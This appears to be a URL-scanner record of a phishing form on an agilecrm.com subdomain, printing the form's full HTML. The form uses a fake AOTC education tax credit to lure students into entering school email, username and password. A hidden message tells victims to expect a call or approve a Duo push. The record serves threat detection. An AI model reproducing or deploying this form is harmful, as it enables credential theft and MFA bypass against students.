aebenefit.agilecrm.com
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URL:
https://aebenefit.agilecrm.com/forms/6120848546398208
Submission: On August 10 via manual from US — Scanned from DE
Submission: On August 10 via manual from US — Scanned from DE
Form analysis
1 forms found in the DOMPOST https://aebenefit.agilecrm.com/formsubmit
<form class="form-view theme3" id="agile-form" action="https://aebenefit.agilecrm.com/formsubmit" style="max-width:450px;" method="POST">
<fieldset>
<!-- Form Name -->
<legend>American Opportunity Tax Credit (AOTC)</legend>
<p class="agile-form-description">Sign in with your School email and password to claim your Education Credit</p>
<div style="display: none; height: 0px; width: 0px;">
<input type="hidden" id="_agile_form_name" name="_agile_form_name" value="American Opportunity Tax Credit (AOTC)">
<input type="hidden" id="_agile_domain" name="_agile_domain" value="aebenefit">
<input type="hidden" id="_agile_api" name="_agile_api" value="lrj0sdjrqg0058vf2ab73dn3jh">
<input type="hidden" id="_agile_redirect_url" name="_agile_redirect_url" value="#">
<input type="hidden" id="_agile_document_url" name="_agile_document_url" value="">
<input type="hidden" id="_agile_confirmation_msg" name="_agile_confirmation_msg" value="Please Wait For A Call Or Open Duo Mobile And Check For Duo Push Request Manually To Continue">
<input type="hidden" id="_agile_form_id_tags" name="tags" value="">
<input type="hidden" id="_agile_form_id" name="_agile_form_id" value="6120848546398208">
</div>
<!-- Text input-->
<div class="agile-group">
<label class="agile-label" for="agilefield-3"> Email Address</label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-3" name="email" type="email" placeholder=" Email Address" class="agile-height-default">
</div>
<div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group">
<label class="agile-label" for="agilefield-1">Domain/Username</label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-1" name="first_name" type="text" placeholder="Domain/Username" class="agile-height-default">
</div>
<div class="agile-custom-clear"></div>
</div>
<!-- Text input-->
<div class="agile-group">
<label class="agile-label" for="agilefield-2">Password</label>
<div class="agile-field-xlarge agile-field">
<input maxlength="250" id="agilefield-2" name="phone" type="text" placeholder="Password" class="agile-height-default">
</div>
<div class="agile-custom-clear"></div>
</div>
<!--recaptcha aglignment-->
<!-- Button -->
<div class="agile-group">
<label class="agile-label"> </label>
<div class="agile-field agile-button-field">
<button type="submit" class="agile-button">SIGN IN TO CONTINUE</button>
<br><span id="agile-error-msg"></span>
</div>
</div>
</fieldset>
</form>
Text Content
American Opportunity Tax Credit (AOTC) Sign in with your School email and password to claim your Education Credit Email Address Domain/Username Password SIGN IN TO CONTINUE